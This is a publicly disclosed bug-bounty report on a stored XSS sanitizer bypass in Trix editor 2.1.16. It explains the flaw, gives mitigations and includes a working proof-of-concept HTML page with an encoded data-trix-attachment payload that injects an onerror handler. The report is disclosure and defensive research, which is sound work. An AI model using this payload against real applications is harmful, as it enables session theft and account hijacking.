HexBrain

Basecamp · Report #3581911

Stored XSS on Trix Editor version latest (2.1.16) - Sanitizer Bypass

Validstatus
lowseverity
$337bounty
89upvotes
14 Jul 2026disclosed

How it was found

Trix version 2.1.16 is vulnerable to a Stored Cross-Site Scripting (XSS) flaw. The vulnerability arises from an unsafe interaction between Trix's custom DOMPurify configuration and its document serialization logic.

Trix utilizes a DOMPurify hook (src/trix/models/html_sanitizer.js) that explicitly forces the sanitizer to retain any HTML attribute beginning with data-trix-. This creates an initial bypass of DOMPurify's strict attribute filtering.

Concurrently, Trix's HTML serializer (src/trix/core/serialization.js) is responsible for converting the internal editor state back into HTML. To preserve standard attributes that are stripped during editing, Trix uses a custom attribute called data-trix-serialized-attributes, which contains a JSON string of property-value pairs. During serialization (e.g., when the form is submitted or editor.value is accessed), this JSON is parsed and the attributes are blindly set onto the element via el.setAttribute(name, value) without any further sanitization.

By embedding data-trix-serialized-attributes within the content property of a data-trix-attachment payload, an attacker can smuggle malicious JavaScript event handlers (such as onerror="alert(1)") past the initial DOMPurify pass. When the content is exported by Trix, the event handlers are injected into the final HTML output, leading to XSS when rendered by the victim application.


Steps To Reproduce

The vulnerability can be reproduced in any application using Trix and can also be demonstrated directly on the official testing environment https://trix-editor.org/.

  1. Run this HTML code on browser.
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Trix Editor v2.1.16 XSS Demo</title>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.umd.min.js"></script>
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.min.css" rel="stylesheet">
</head>
<body>
    <h1>Trix Editor v2.1.16 XSS Demo</h1>

    <!-- 
    The following script simulates rendering user-supplied content that contains the malicious data-trix-attachment with our serialization bypass payload.
  -->
    <script>
        document.write(`copy<figure data-trix-attachment="{&quot;contentType&quot;:&quot;text/html&quot;,&quot;content&quot;:&quot;&lt;img src=\\&quot;x\\&quot; data-trix-serialized-attributes=\\&quot;{&amp;quot;onerror&amp;quot;:&amp;quot;alert('XSS IN v2.1.16')&amp;quot;}\\&quot;&gt;&quot;}"></figure>me`);
    </script>

    <h2>Simulate Backend Save & Render</h2>
    <button onclick="triggerXSS()">Trigger XSS</button>
    <div id="output"></div>

    <script>
        function triggerXSS() {
            // 1. Get the serialized HTML output that Trix generated
            var output = document.querySelector("trix-editor").value;
            console.log("Serialized HTML:", output);

            // 2. Simulate the application rendering this saved output on another page
            var div = document.getElementById("output");
            div.innerHTML = output;
        }
    </script>
</body>

</html>
  1. Copy the copy me text and paste it in trix editor.
  2. You will immediately see an alert pop up indicating successful arbitrary JavaScript execution.

This vulnerability represents a direct bypass of the fixes applied for previously reported vulnerabilities in Trix :

  1. https://hackerone.com/reports/2521419 - Stored XSS on trix editor version 2.1.1
  2. https://hackerone.com/reports/2819573 - Mutation Based Stored XSS on trix editor version 2.1.8

Suggested Mitigation

  1. Remove or constrain the wildcard data-trix- DOMPurify hook: Ensure that only explicitly defined, harmless attributes (like data-trix-id) are retained. The regex /^data-trix-/ in src/trix/models/html_sanitizer.js should be replaced with an explicit allowlist.
  2. Re-Sanitize Deserialized Attributes: In src/trix/core/serialization.js, when elements are restored from data-trix-serialized-attributes, el.setAttribute should only map to safe attributes (class, src, href) and explicitly deny JavaScript event handlers (on*). Attempting to filter this via DOMPurify before rebuilding the DOM is highly recommended.

Impact

Any application that utilizes Trix to accept untrusted rich text input and renders the serialized output to other users is vulnerable to Stored Cross-Site Scripting (XSS). An attacker can successfully leverage this to steal session cookies, hijack user accounts, redirect victims to malicious sites, or perform actions on behalf of the user without their consent.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original